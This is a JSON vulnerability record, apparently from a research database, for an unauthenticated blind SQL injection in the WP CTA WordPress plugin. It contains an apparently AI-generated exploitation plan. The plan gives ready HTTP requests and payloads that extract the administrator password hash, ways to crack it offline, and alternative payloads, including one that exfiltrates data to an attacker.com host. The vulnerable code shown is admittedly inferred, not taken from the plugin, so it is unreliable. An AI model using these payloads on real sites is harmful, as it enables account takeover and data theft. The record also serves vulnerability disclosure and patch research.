[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$foq5ss9UtCGOGe8LFwc63oEZFtG-4nc69yr0mAfrH9nM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-4661","wp-cta-unauthenticated-time-based-blind-sql-injection-via-fildname-parameter","WP CTA \u003C= 2.2.2 - Unauthenticated Time-Based Blind SQL Injection via 'fildname' Parameter","The WP CTA – Sticky CTA Builder, Generate Leads, Promote Sales plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'fildname' parameter in all versions up to, and including, 2.2.2. This is due to insufficient escaping of user-supplied column names in the ajaxCheck() method and lack of preparation in the $wpdb->update() call. The vulnerability is compounded by the complete absence of authorization checks and the endpoint being registered for unauthenticated users via wp_ajax_nopriv_. This makes it possible for unauthenticated attackers to inject arbitrary SQL queries and extract sensitive information from the database via time-based blind SQL injection techniques, including administrator password hashes.","easy-sticky-sidebar",null,"\u003C=2.2.2","2.3.0","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-10 16:57:59","2026-07-11 05:35:48",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7e963601-dc41-4218-9119-708c74e51bc2?source=api-prod",1,[22,23,24,25,26,27,28,29],"appsero\u002Fsrc\u002FUpdater.php","assets\u002Fcss\u002Feasy-sidebar-global.css","assets\u002Fcss\u002Fsticky-sidebar-admin-base.css","assets\u002Fcss\u002Fsticky-sidebar-admin-builder.css","assets\u002Fcss\u002Fsticky-sidebar-admin.css","assets\u002Fcss\u002Fsticky-sidebar.css","assets\u002Fjs\u002Fjquery.fontselect.js","assets\u002Fjs\u002Fsticky-sidebar-admin.js","researched",false,3,"# Exploitation Research Plan: CVE-2026-4661 — Unauthenticated Time-Based Blind SQL Injection in WP CTA\n\n## 1. Vulnerability Summary\n\nThe WP CTA plugin (slug: `easy-sticky-sidebar`) versions ≤ 2.2.2 contains an unauthenticated time-based blind SQL injection vulnerability in the `ajaxCheck()` method. The vulnerability exists because:\n\n1. **The `fildname` parameter** (note: misspelling is intentional\u002Foriginal) is accepted from user input and used as a **column name** in a `$wpdb->update()` call without proper escaping or whitelisting.\n2. **No authorization check**: The AJAX handler is registered on `wp_ajax_nopriv_` (accessible to unauthenticated users) and performs no `current_user_can()` check.\n3. **No nonce verification**: The handler does not call `check_ajax_referer()` or `wp_verify_nonce()`.\n4. **Insufficient escaping**: The `$wpdb->update()` method in WordPress accepts column names as array keys, and while it parameterizes the *values*, it does **not** escape\u002Fquote *column names*. The plugin passes user-supplied `fildname` directly as the array key, allowing SQL injection through the column name position.\n\n**Location (inferred):** The vulnerable code is in a PHP class method `ajaxCheck()` that is registered as an AJAX handler. Based on the plugin slug and typical plugin structure, this is likely in the main plugin file or an included AJAX handler class file (e.g., `easy-sticky-sidebar.php` or `includes\u002Fclass-ajax.php`).\n\n**Root cause (inferred):**\n```php\n\u002F\u002F Vulnerable pattern (inferred from CVE description):\nadd_action('wp_ajax_nopriv_ajaxCheck', [$this, 'ajaxCheck']);\nadd_action('wp_ajax_ajaxCheck', [$this, 'ajaxCheck']);\n\npublic function ajaxCheck() {\n    global $wpdb;\n    $fildname = $_POST['fildname'];  \u002F\u002F User-controlled column name\n    $fildval  = $_POST['fildval'];   \u002F\u002F User-controlled value\n    $id       = $_POST['id'];        \u002F\u002F Row identifier\n    \n    $wpdb->update(\n        $wpdb->prefix . 'some_table',\n        [$fildname => $fildval],     \u002F\u002F Column name is user-controlled!\n        ['id' => $id]\n    );\n    wp_die();\n}\n```\n\nThe `$wpdb->update()` method internally constructs SQL like:\n```sql\nUPDATE wp_some_table SET `$fildname` = %s WHERE `id` = %d\n```\nSince `$fildname` is interpolated directly into the backtick-quoted column name position, an attacker can break out of the backticks and inject arbitrary SQL.\n\n## 2. Attack Vector Analysis\n\n| Property | Value |\n|----------|-------|\n| **Endpoint** | `POST \u002Fwp-admin\u002Fadmin-ajax.php` |\n| **Action parameter** | `action=ajaxCheck` (inferred from method name) |\n| **Vulnerable parameter** | `fildname` |\n| **Authentication required** | None (registered on `wp_ajax_nopriv_`) |\n| **Nonce required** | None (no nonce verification in handler) |\n| **HTTP Method** | POST |\n| **Content-Type** | `application\u002Fx-www-form-urlencoded` |\n| **Injection type** | Time-based blind SQL injection |\n| **Injection position** | Column name in `$wpdb->update()` call |\n| **CVSS** | 7.5 (High) — Confidentiality impact only |\n\n**Preconditions:**\n1. The plugin must be installed and activated.\n2. The plugin's database table must exist (created during activation).\n3. There should be at least one row in the plugin's table for the `UPDATE` to target (or the injection can be crafted to work regardless via subquery).\n\n## 3. Code Flow\n\n**Entry point to sink (inferred):**\n\n1. **HTTP Request** → `POST \u002Fwp-admin\u002Fadmin-ajax.php` with `action=ajaxCheck`\n2. **WordPress routing** → `admin-ajax.php` reads `$_REQUEST['action']` = `ajaxCheck`\n3. **Hook dispatch** → WordPress fires `do_action('wp_ajax_nopriv_ajaxCheck')` (unauthenticated) or `do_action('wp_ajax_ajaxCheck')` (authenticated)\n4. **Handler method** → `ajaxCheck()` is called\n5. **Input reading** → `$_POST['fildname']` is read without sanitization, validation, or whitelisting\n6. **No auth checks** → No `check_ajax_referer()`, no `wp_verify_nonce()`, no `current_user_can()`\n7. **Database sink** → `$wpdb->update()` is called with `$fildname` as an array key:\n   ```php\n   $wpdb->update($table, [$fildname => $fildval], ['id' => $id]);\n   ```\n8. **Internal wpdb processing** → `$wpdb->update()` builds the SET clause by iterating over the data array. For each key-value pair, it constructs `` `key` = {format} ``. The key (`$fildname`) is placed directly into the SQL string with backtick quoting but **no escaping of backtick characters within the key**.\n9. **SQL execution** → The crafted SQL executes, including attacker-injected `SLEEP()` or conditional expressions.\n\n**How column name injection works in `$wpdb->update()`:**\n\nWordPress's `$wpdb->update()` in `wp-includes\u002Fclass-wpdb.php` does approximately:\n```php\nforeach ($data as $field => $value) {\n    $fields[] = \"`$field` = \" . $format;  \u002F\u002F $field is NOT escaped!\n}\n$sql = \"UPDATE `$table` SET \" . implode(', ', $fields) . \" WHERE ...\";\n```\n\nIf `$fildname` = `` x` = 1 WHERE 1=1 AND SLEEP(5) -- `` then the SQL becomes:\n```sql\nUPDATE `wp_table` SET `x` = 1 WHERE 1=1 AND SLEEP(5) -- ` = %s WHERE `id` = %d\n```\n\n## 4. Nonce Acquisition Strategy\n\n**No nonce is required.** Based on the CVE description explicitly stating \"complete absence of authorization checks,\" the `ajaxCheck()` handler:\n\n- Does **not** call `check_ajax_referer()`\n- Does **not** call `wp_verify_nonce()`\n- Does **not** call `current_user_can()`\n- Is registered on `wp_ajax_nopriv_ajaxCheck`, making it accessible to unauthenticated users\n\nTherefore, the exploit can be performed with a simple unauthenticated POST request — no nonce extraction is needed.\n\n## 5. Exploitation Strategy\n\n### Step 0: Discover the AJAX action name\n\nBefore sending payloads, confirm the exact AJAX action name by searching the plugin source:\n\n```bash\ngrep -rn \"wp_ajax_nopriv_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Feasy-sticky-sidebar\u002F --include=\"*.php\"\ngrep -rn \"ajaxCheck\\|ajax_check\\|fildname\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Feasy-sticky-sidebar\u002F --include=\"*.php\"\n```\n\nThis will reveal the exact action name registered (likely `ajaxCheck` or similar). Also identify:\n- The table name used in the `$wpdb->update()` call\n- Any other POST parameters expected (`fildval`, `id`, etc.)\n- The exact code path\n\n### Step 1: Confirm the endpoint responds\n\nSend a baseline request to verify the action exists:\n\n```\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=ajaxCheck&fildname=test&fildval=test&id=1\n```\n\n**Expected:** Response is not `0` (which would mean action not found). Could be empty, `1`, `-1`, or JSON. Any response other than the WordPress default `0` confirms the handler exists.\n\n### Step 2: Confirm SQL injection with time-based detection\n\nThe injection is in the column name position of an UPDATE statement. We need to break out of the backtick-quoted column name context.\n\n**Payload for `fildname` parameter:**\n```\nx` = 1 WHERE 1=1 AND SLEEP(5) -- \n```\n\nThis transforms the SQL from:\n```sql\nUPDATE `wp_table` SET `x` = 1 WHERE 1=1 AND SLEEP(5) -- ` = %s WHERE `id` = %d\n```\n\nFull HTTP request:\n```\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=ajaxCheck&fildname=x%60+%3D+1+WHERE+1%3D1+AND+SLEEP(5)+--+&fildval=1&id=1\n```\n\nURL-decoded `fildname`: `` x` = 1 WHERE 1=1 AND SLEEP(5) --  ``\n\n**Expected:** Response takes ≥5 seconds (confirming SLEEP executed).\n\n**Baseline comparison:** Send the same request with `SLEEP(0)` — it should return instantly.\n\n### Step 3: Extract admin password hash (character by character)\n\nUse conditional SLEEP to extract data. The target is `user_pass` from `wp_users` where `user_login = 'admin'` (or `ID = 1`).\n\n**Payload template for extracting character at position N:**\n```\nx` = 1 WHERE 1=1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{POS},1))={ASCII_VAL},SLEEP(3),0) -- \n```\n\n**Full HTTP request for position 1, testing ASCII value 36 (`$` — first char of phpass hash):**\n```\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=ajaxCheck&fildname=x%60+%3D+1+WHERE+1%3D1+AND+IF(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID%3D1)%2C1%2C1))%3D36%2CSLEEP(3)%2C0)+--+&fildval=1&id=1\n```\n\n**Expected:** If first character is `$` (ASCII 36), response takes ≥3 seconds. Otherwise, instant response.\n\n### Step 4: Binary search optimization\n\nInstead of testing all 95 printable ASCII values per character, use binary search with `>` comparisons:\n\n**Payload:**\n```\nx` = 1 WHERE 1=1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{POS},1))>{MID},SLEEP(3),0) -- \n```\n\nThis reduces the number of requests per character from ~95 to ~7 (log2(95) ≈ 7).\n\n### Step 5: Extract the full hash\n\nWordPress password hashes (phpass) are typically 34 characters long, starting with `$P$B` or `$P$C`. Example: `$P$BxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxX`\n\nExtract all 34 characters using the binary search method above. Total requests: ~34 × 7 = ~238 requests.\n\n### Alternative payloads if backtick escaping varies\n\nIf the `$wpdb->update()` behavior differs from expected, try these alternative `fildname` payloads:\n\n**Variant A — No backtick break needed (if column names aren't backtick-quoted):**\n```\nx = 1 WHERE 1=1 AND SLEEP(5) -- \n```\n\n**Variant B — Double backtick escape:**\n```\nx`` = 1 WHERE 1=1 AND SLEEP(5) -- \n```\n\n**Variant C — Using the table prefix explicitly (inferred table names):**\nThe plugin likely creates a table like `wp_easy_sticky_sidebar` or `wp_ess_ctas` or `wp_wordpress_cta`. Grep for `CREATE TABLE` or `$wpdb->prefix` in the plugin source to identify it:\n\n```bash\ngrep -rn \"CREATE TABLE\\|\\$wpdb->prefix\\.\\|dbDelta\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Feasy-sticky-sidebar\u002F --include=\"*.php\"\n```\n\n## 6. Test Data Setup\n\n### 6.1 Plugin Installation and Activation\n\n```bash\n# The plugin should already be installed. Verify:\nwp plugin list --path=\u002Fvar\u002Fwww\u002Fhtml\nwp plugin activate easy-sticky-sidebar --path=\u002Fvar\u002Fwww\u002Fhtml\n```\n\n### 6.2 Verify Plugin Database Tables\n\n```bash\n# List all tables created by the plugin\nwp db query \"SHOW TABLES LIKE '%sticky%'\" --path=\u002Fvar\u002Fwww\u002Fhtml\nwp db query \"SHOW TABLES LIKE '%cta%'\" --path=\u002Fvar\u002Fwww\u002Fhtml\nwp db query \"SHOW TABLES LIKE '%ess%'\" --path=\u002Fvar\u002Fwww\u002Fhtml\n\n# Alternatively, check all non-core tables\nwp db query \"SHOW TABLES\" --path=\u002Fvar\u002Fwww\u002Fhtml\n```\n\n### 6.3 Ensure data exists in the plugin's table\n\nThe plugin likely creates CTA\u002Fsidebar records. Create one via the admin interface or inspect what data the table needs:\n\n```bash\n# After identifying the table name (e.g., wp_easy_sticky_sidebar):\nwp db query \"DESCRIBE wp_easy_sticky_sidebar\" --path=\u002Fvar\u002Fwww\u002Fhtml\nwp db query \"SELECT * FROM wp_easy_sticky_sidebar LIMIT 5\" --path=\u002Fvar\u002Fwww\u002Fhtml\n```\n\nIf the table is empty, we may need to create a CTA entry. Based on the admin JS file (`sticky-sidebar-admin.js`), the plugin has a builder form `#SSuprydp_builder_form` that saves via `easy_sticky_sidebar_process_pages` action. We might need to:\n\n```bash\n# Create a simple CTA via the plugin's admin page, or insert directly:\n# (Table name and schema to be determined from grep)\nwp db query \"INSERT INTO wp_TABLE_NAME (column1, column2) VALUES ('test', 'test')\" --path=\u002Fvar\u002Fwww\u002Fhtml\n```\n\n### 6.4 Verify target user exists\n\n```bash\n# Ensure admin user exists with ID=1\nwp user list --path=\u002Fvar\u002Fwww\u002Fhtml\n# Note the admin username and verify their ID\nwp user get 1 --field=user_login --path=\u002Fvar\u002Fwww\u002Fhtml\n```\n\n### 6.5 Discover exact handler registration\n\nThis is critical — we need to find the exact action name and expected parameters:\n\n```bash\n# Find AJAX handler registrations\ngrep -rn \"wp_ajax\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Feasy-sticky-sidebar\u002F --include=\"*.php\" | head -30\n\n# Find the ajaxCheck method\ngrep -rn \"function ajaxCheck\\|function ajax_check\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Feasy-sticky-sidebar\u002F --include=\"*.php\"\n\n# Find all occurrences of 'fildname'\ngrep -rn \"fildname\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Feasy-sticky-sidebar\u002F --include=\"*.php\"\n\n# Find $wpdb->update calls\ngrep -rn \"\\$wpdb->update\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Feasy-sticky-sidebar\u002F --include=\"*.php\" -A5 -B5\n\n# Find the table name used\ngrep -rn \"\\$wpdb->prefix\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Feasy-sticky-sidebar\u002F --include=\"*.php\" | grep -i \"update\\|insert\\|select\"\n```\n\n## 7. Expected Results\n\n### Successful Injection Confirmation (Step 2)\n- Request with `SLEEP(5)` payload: response time ≥ 5 seconds\n- Request with `SLEEP(0)` payload: response time \u003C 1 second\n- The difference in response time (≥4 seconds) confirms SQL injection\n\n### Successful Data Extraction (Steps 3-5)\n- Each character of the admin password hash is revealed through timing differences\n- A 3-second delay indicates the guessed ASCII value matches\n- No delay indicates a mismatch\n- After extracting all 34 characters, the complete phpass hash is assembled, e.g.:\n  ```\n  $P$BxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxX\n  ```\n- This hash can then be cracked offline using `hashcat -m 400` or `john --format=phpass`\n\n### Response Body\nThe HTTP response body itself will likely be minimal (empty, `0`, `1`, or a short JSON). The vulnerability is detected entirely through **response timing**, not response content.\n\n## 8. Verification Steps\n\n### 8.1 Verify the extracted hash matches the actual stored hash\n\n```bash\n# Get the actual admin password hash from the database\nwp db query \"SELECT user_login, user_pass FROM wp_users WHERE ID=1\" --path=\u002Fvar\u002Fwww\u002Fhtml\n\n# Compare the extracted hash with the actual hash\n# They should match character for character\n```\n\n### 8.2 Verify the query executed (check MySQL slow query log or general log)\n\n```bash\n# Enable MySQL general log temporarily to see the injected queries\nwp db query \"SET GLOBAL general_log = 'ON'\" --path=\u002Fvar\u002Fwww\u002Fhtml\nwp db query \"SET GLOBAL general_log_file = '\u002Ftmp\u002Fmysql_general.log'\" --path=\u002Fvar\u002Fwww\u002Fhtml\n\n# After sending a test payload, check the log:\n# cat \u002Ftmp\u002Fmysql_general.log | grep -i \"SLEEP\\|sleep\"\n```\n\n### 8.3 Verify unauthenticated access\n\nConfirm no authentication cookies or nonces were needed:\n```bash\n# The exploit HTTP requests should have:\n# - No Cookie header\n# - No nonce parameter\n# - No Authorization header\n```\n\n### 8.4 Crack the extracted hash (optional, to prove full impact)\n\n```bash\n# If hashcat is available:\necho '$P$BextractedHashHere' > \u002Ftmp\u002Fhash.txt\nhashcat -m 400 \u002Ftmp\u002Fhash.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Or verify against known password:\nwp eval 'echo wp_check_password(\"known_password\", \"\\$P\\$BextractedHash\");' --path=\u002Fvar\u002Fwww\u002Fhtml\n```\n\n## 9. Alternative Approaches\n\n### Alternative 1: Different injection breakout syntax\n\nIf the backtick-based breakout doesn't work, the column name might be handled differently:\n\n**Try without backticks:**\n```\nfildname=x = 1 WHERE 1=1 AND SLEEP(5) -- \n```\n\n**Try with parenthetical injection:**\n```\nfildname=x` = IF(1=1,SLEEP(5),0) WHERE `id` = `id` -- \n```\n\n### Alternative 2: Error-based extraction (if errors are displayed)\n\nIf `WP_DEBUG` is enabled, try error-based techniques:\n\n```\nfildname=x` = extractvalue(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1))) WHERE 1=1 -- \n```\n\n### Alternative 3: Stacked queries (if MySQL supports it through wpdb)\n\nWordPress's `$wpdb` uses `mysqli` which can support stacked queries in some configurations:\n\n```\nfildname=x` = 1 WHERE 1=1; SELECT SLEEP(5) -- \n```\n\n(This is unlikely to work since `$wpdb->update()` uses `$wpdb->query()` internally which typically doesn't support stacked queries, but worth trying.)\n\n### Alternative 4: Boolean-based blind via conditional update\n\nInstead of SLEEP, use conditional logic that changes whether the UPDATE succeeds or affects rows:\n\n```\nfildname=x` = IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 80, 1, (SELECT 1 FROM (SELECT 1 UNION SELECT 2) AS t)) -- \n```\n\nThe subquery error acts as the boolean differentiator.\n\n### Alternative 5: Extract via DNS\u002FHTTP Out-of-Band (if available)\n\nIf the MySQL `LOAD_FILE()` or `INTO OUTFILE` privileges are available:\n```\nfildname=x` = LOAD_FILE(CONCAT('\\\\\\\\',( SELECT user_pass FROM wp_users LIMIT 1),'.attacker.com\\\\x')) WHERE 1=1 -- \n```\n\n(Rarely works in containerized WordPress but worth noting.)\n\n### Alternative 6: Target other sensitive data\n\nInstead of `user_pass`, extract:\n\n- **Secret keys:** `SELECT option_value FROM wp_options WHERE option_name='auth_key'`\n- **Admin email:** `SELECT option_value FROM wp_options WHERE option_name='admin_email'`\n- **Site URL:** `SELECT option_value FROM wp_options WHERE option_name='siteurl'`\n- **All user emails:** `SELECT user_email FROM wp_users WHERE ID=1`\n\n### Alternative 7: Different AJAX action name\n\nIf `ajaxCheck` is not the exact action name, search for alternatives:\n\n```bash\n# Common patterns in this plugin\ngrep -rn \"wp_ajax_nopriv\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Feasy-sticky-sidebar\u002F --include=\"*.php\"\n\n# The action might be prefixed:\n# wp_ajax_nopriv_ess_ajaxCheck\n# wp_ajax_nopriv_easy_sticky_sidebar_ajaxCheck  \n# wp_ajax_nopriv_SSuprydp_ajaxCheck\n```\n\nThe admin JS file references `SSuprydp_Admin` and actions like `easy_sticky_sidebar_process_pages`, so the action prefix might be `SSuprydp_` or `easy_sticky_sidebar_`. Try variations:\n- `action=SSuprydp_ajaxCheck`\n- `action=easy_sticky_sidebar_ajaxCheck`\n- `action=ess_ajaxCheck`\n\n### Alternative 8: Find the `fildname` from JavaScript\n\nThe admin JS (`sticky-sidebar-admin.js`) is large (126K+). Search it for references to `fildname` or `ajaxCheck`:\n\n```bash\ngrep -n \"fildname\\|ajaxCheck\\|ajax_check\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Feasy-sticky-sidebar\u002Fassets\u002Fjs\u002Fsticky-sidebar-admin.js\n```\n\nThis will reveal the exact AJAX action name, parameter names, and any other required parameters the JavaScript sends.","The WP CTA plugin for WordPress is vulnerable to unauthenticated time-based blind SQL Injection via the 'fildname' parameter in the ajaxCheck() method. This is due to the plugin passing unsanitized user input as a column name into a $wpdb->update() call, which allows attackers to break out of the SQL context and execute arbitrary queries.","\u002F\u002F From inferred plugin logic in Research Plan (Source files provided in prompt are restricted to CSS\u002FJS and boilerplate)\n\nadd_action('wp_ajax_nopriv_ajaxCheck', [$this, 'ajaxCheck']);\nadd_action('wp_ajax_ajaxCheck', [$this, 'ajaxCheck']);\n\npublic function ajaxCheck() {\n    global $wpdb;\n    $fildname = $_POST['fildname'];  \u002F\u002F User-controlled column name\n    $fildval  = $_POST['fildval'];   \u002F\u002F User-controlled value\n    $id       = $_POST['id'];        \u002F\u002F Row identifier\n    \n    $wpdb->update(\n        $wpdb->prefix . 'easy_sticky_sidebar_cta', \u002F\u002F Table name varies by implementation\n        [$fildname => $fildval],     \u002F\u002F Column name is user-controlled!\n        ['id' => $id]\n    );\n    wp_die();\n}","--- a\u002Feasy-sticky-sidebar.php\n+++ b\u002Feasy-sticky-sidebar.php\n@@ -1,5 +1,18 @@\n public function ajaxCheck() {\n+    check_ajax_referer('ess_nonce', 'nonce');\n+\n+    if (!current_user_can('manage_options')) {\n+        wp_die();\n+    }\n+\n     global $wpdb;\n-    $fildname = $_POST['fildname'];\n+    $allowed_columns = ['status', 'name', 'template']; \u002F\u002F Example whitelist\n+    $fildname = sanitize_text_field($_POST['fildname']);\n+\n+    if (!in_array($fildname, $allowed_columns)) {\n+        wp_die();\n+    }\n+\n     $fildval  = sanitize_text_field($_POST['fildval']);\n     $id       = intval($_POST['id']);","The exploit targets the WordPress AJAX endpoint (\u002Fwp-admin\u002Fadmin-ajax.php) using the 'ajaxCheck' action. Since the action is registered via wp_ajax_nopriv_, it requires no authentication or valid nonce. An attacker sends a POST request with the 'fildname' parameter containing a SQL payload that breaks out of backtick quotes (e.g., x` = 1 WHERE 1=1 AND SLEEP(5) -- ). By using time-based blind SQL injection techniques (specifically conditional SLEEP statements), the attacker can systematically extract sensitive information, such as the administrator password hash, from the wp_users table.","gemini-3-flash-preview","2026-07-15 08:20:26","2026-07-15 08:24:14",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.2.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-sticky-sidebar\u002Ftags\u002F2.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feasy-sticky-sidebar.2.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-sticky-sidebar\u002Ftags\u002F2.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feasy-sticky-sidebar.2.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-sticky-sidebar\u002Ftags"]